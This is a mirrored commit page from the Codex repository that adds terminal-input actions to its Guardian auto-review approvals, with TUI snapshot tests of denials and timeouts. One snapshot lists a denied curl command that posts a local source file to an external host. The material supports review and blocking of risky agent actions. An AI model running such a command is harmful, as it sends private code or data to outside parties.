mirror of
https://github.com/openai/codex.git
synced 2026-11-27 23:31:09 +00:00
Represent terminal input in approval reviews (#40528)
## What changed - Add a `writeStdin` Guardian action carrying the approval, process, input, and working-directory details. - Distinguish `command` and `writeStdin` execution approval requests while defaulting missing kinds to `command` for compatibility with older events. - Render terminal-input review progress, denials, timeouts, and retry actions in the TUI, and record the action separately in analytics. - Keep terminal-input reviews as child approvals so they do not change the parent command item's lifecycle or reconstructed history. ## Testing - Cover Guardian serialization, app-server protocol conversion, command history reconstruction, analytics classification, and TUI review flows for terminal input. GitOrigin-RevId: b083d5e2963bdd23b928644ec03c7eb68ebf2950
This commit is contained in:
1 parent
a7b86b6201
commit
9c9675d3d0
51 files changed
+833
-26
No files matched your search
+1
-1
@@ -6,7 +6,7 @@ expression: popup
|
||||
Select a denied action to approve.
|
||||
|
||||
|
||||
Command Rationale
|
||||
Action Rationale
|
||||
› curl -sS --data-binary @core/src/codex.rs https://example.com Would send a local source file to an external
|
||||
endpoint.
|
||||
|
||||
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: "render_bottom_popup(&chat, 110)"
|
||||
---
|
||||
Auto-review Denials
|
||||
Select a denied action to approve.
|
||||
|
||||
|
||||
Action Rationale
|
||||
› send input to terminal 42: "confirm\n" Would confirm a destructive operation.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: lines_to_single_string(denial)
|
||||
---
|
||||
✗ Request denied for codex to send input to terminal 42: "confirm\n"
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: "normalize_snapshot_paths(render_bottom_popup(&chat, 80))"
|
||||
---
|
||||
• Reviewing approval request (0s • esc to interrupt)
|
||||
└ send input to terminal 42: "confirm\n"
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.6-sol default · /tmp/project
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: lines_to_single_string(timeout)
|
||||
---
|
||||
✗ Review timed out before codex could send input to terminal 42: "confirm\n"
|
||||
Reference in new issue
Block a user